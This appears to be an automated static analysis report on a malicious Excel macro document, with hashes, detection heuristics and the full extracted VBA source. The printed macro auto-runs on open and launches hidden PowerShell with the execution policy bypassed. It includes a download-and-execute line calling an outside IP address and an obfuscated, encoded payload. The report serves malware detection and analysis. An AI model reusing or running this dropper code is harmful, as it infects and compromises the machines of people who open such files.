Malicious Office (OOXML) — malware analysis report

Static analysis result for SHA-256 49c9726424ae7542…

MALICIOUS

Office (OOXML)

19.5 KB Created: 2015-06-05 18:19:34 UTC Authoring application: Microsoft Excel 16.0300 First seen: 2022-06-20
MD5: c21b6f864331dc65a2936172674850d7 SHA-1: 2e56ed7768bd4aa0e34e4d92fb33bbf2eb846647 SHA-256: 49c9726424ae75421cf40003015b0b7313c8512dea1f797368e1eeac59eba0f0
366 Risk Score

Heuristics 11

  • VBA project inside OOXML medium 9 related findings OOXML_VBA
    Document contains a VBA project — VBA macros present
  • Potential Shell call in VBA critical OLE_VBA_SHELL
    Potential Shell call in VBA
    Matched line in script
    Dim Shell As Object
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
    Set Shell = CreateObject("Wscript.Shell")
  • PowerShell reference in VBA critical OLE_VBA_PS
    PowerShell reference in VBA
    Matched line in script
    hH = "powershell.exe -executionpolicy bypass -w hidden "
  • VBA stages a PowerShell/LOLBin download-and-run command critical OLE_VBA_BITSTRANSFER_DROPPER
    The macro assembles a download command using a PowerShell or LOLBin download primitive (Start-BitsTransfer, Invoke-WebRequest, Net.WebClient, bitsadmin, certutil, ...) that fetches a remote payload, then executes it -- writing it to a script file and running it, or launching it directly from an auto-exec handler. The keywords are commonly split with PowerShell backtick / cmd caret escapes to evade scanners; this detection de-escapes the source first. A high-confidence downloader/dropper, stronger than the individual Shell / download keywords on their own.
    Matched line in script
    Sub Auto_Open()
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
    Set Shell = CreateObject("Wscript.Shell")
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Triggers on the COMBINATION of two tokens co-occurring in the same compiled VBA/cache stream: an auto-execution entry point (Auto_Open / AutoOpen / Document_Open / Workbook_Open / Auto_Close / AutoClose) AND a shell/download/object-execution token (Shell, CreateObject, GetObject, PowerShell, cmd.exe, URLDownloadToFile, WinHttp, XMLHTTP, ADODB.Stream, ShellExecute, ExecuteExcel4Macro). Neither token alone fires it — it is the pairing that flags p-code-only or source-extraction-failure macro documents where the visible VBA source is unavailable. The matched tokens are named in the detail line below.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Sub AutoOpen()
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Sub Document_Open()
  • Auto_Open macro low OLE_VBA_AUTO
    Auto_Open macro
    Matched line in script
    Sub Auto_Open()
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://192.168.100.222:8000/80xored.ps1 In document text (OOXML body / shared strings)

Extracted artifacts 2

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source from OOXML) 3151 bytes
SHA-256: df49422b8b2d81a13223014a700a1f7f46ded8d41a6e8cdca8e2ce5d98b5b1d5
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "Module1"
Sub Auto_Open()
    mal
End Sub

Sub AutoOpen()
    mal
End Sub

Sub Document_Open()
    mal
End Sub
Sub mal()
Dim Shell As Object
Set Shell = CreateObject("Wscript.Shell")

'Shell.Run "powershell.exe -executionpolicy bypass -w hidden iex(New-Object System.Net.WebClient).DownloadString('http://192.168.100.222:8000/80xored.ps1'); 80xored.ps1"
 
 
Dim uH As String

uH = "( NeW-ObjeCt MAnaGEMenT.automatiON.pSCReDEntiaL ' ', ( '76492d1116743f0423413b16050a5345MgB8AGMARwBNAHMAQQBFAHUAR"
uH = uH + "QBDAGEANwBTAHcAbABWADgAcQB1AE0AYgBYAFEAPQA9AHwAMABkAGMANwAzADAANgBhADcANQBlADAAOQA1AGQANQAzAGYAYgA4ADIANAA3AGQAMA"
uH = uH + "A0ADMAMQBmAGYANQBhAGEAZAA3ADMANQA3ADcANQBmADgANQAyADIANgA5ADcAOAA4ADEAZgA2AGEAMgBhADEAMwA2ADYAZQBhADQAMABiADIAMQA"
uH = uH + "4ADAAMgA2AGMAMgA0AGMAOAAwADEANQA2AGMAYwBlADMAYQAwADMAZAAxADQAMABlAGQAMAA4ADIAMQA4AGYANAA2ADcAZgA3ADIANgBmADUAMwBk"
uH = uH + "ADcAMwBjADcAZAAxAGYANABhADYANgA2ADcAMwA3AGUAZgBkAGUAZgBiADQAMwAxADMAMwAzADYAYwBkADUANQBiAGUAOABjAGIAMgBhADIANwBiA"
uH = uH + "DYAMQAyADQAZgBhADMAZABlADMANwAzAGYAZQBmADAAOQA4AGYAYQA1ADEANAA3ADYANwBlADIAZABkAGYAZgA1ADgAZgA3AGMAZQA2AGQAYwAwAG"
uH = uH + "YANwAyADMAZQA1AGQANgBmADUAZQBkAGMAMQBmADYAYQBhAGMAMQAzAGEANQBkADQAMAA0AGEAMQAzAGQAZAA3ADUANwBmAGMANAAwAGYAZAA2ADU"
uH = uH + "AMwBmAGMAZQBkADEAYwBiAGUAMwBmADMANABmAGEANgAwAGIAOQBhADUAYQA3ADMAYgBkADAAMwA5ADcAZgBkADEAZABiADcAMAAyADMAZAAzADgA"
uH = uH + "NwBjAGUAYwAzADYAMABiADIAYgA5ADQAOAA1ADcAZAA2ADAANwAxADQAYwA1ADgANwBmADQANABiADMAOAAzADEAYwAxADAAMQA5ADgAMwA1AGUAN"
uH = uH + "AA4ADcAMgA1AGYAOABkADEAZQAwADMAZAA3ADUANgAxAGQAMAAzADkAYgAwADgAYgBiADcAOAA4AGYAMgAxADEAOAAxAGIAZQA5AGIAMwBlADIAYg"
uH = uH + "A0AGUAZQAzADUAZQAwAGUAZQAyAGEANAA5ADgAMAA5ADkANwBiAGEANwA5ADgANQBhAGQANwBmADQAMAAyADIAMQAxADAANQBjAGQAZgA0ADIAZgB"
uH = uH + "iADYAOAA4AGEANgAxADYAOAA3ADcAYwAxADkANgAzADEAOQAxADAAMQA0ADEANgBkAGQANgBlAGEAMABlAGIAZQA2ADkAYQAwADAANgAxADMAZgA="
uH = uH + "'| ConVErTTO-securestrInG -KEY (70..85))).GeTneTWORkcREdentiAl().pAssWOrd | &( $pSHOmE[4]+$PShomE[34]+'X')"


Dim hH As String

hH = "powershell.exe -executionpolicy bypass -w hidden "
'hH = ""$( Set-iTem 'vaRIablE:OFS' '' ) " +[StRiNg]('79O80!72!90R77k76k87~90_83~83!17_90k71{90~31O18-90_71-90!92k74~75!86-80,81~79R80R83,86g92_70~31g93O70{79k94,76-76-31,18-72O31-87k86g91,91{90k81'.SPlIT('RO-_~{k,!g')| %{ [CHAr]($_-BXoR"0x3f" )})+"$(Set-iteM  'VARIABLE:OFs'  ' ' )"|. ( $ENv:COmsPEC[4,24,25]-jOin'')"

Dim Concat As String

Concat = hH + uH


Shell.Run Concat

End Sub

'
'


Attribute VB_Name = "ThisWorkbook"
Attribute VB_Base = "0{00020819-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True

Attribute VB_Name = "Sheet1"
Attribute VB_Base = "0{00020820-0000-0000-C000-000000000046}"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = False
Attribute VB_Customizable = True
vbaProject_00.bin vba-project OOXML VBA project: xl/vbaProject.bin 33792 bytes
SHA-256: dc6be0b6bd4f1e190b9b64e970051a931e588e6ba728a28db59b097b6659c66e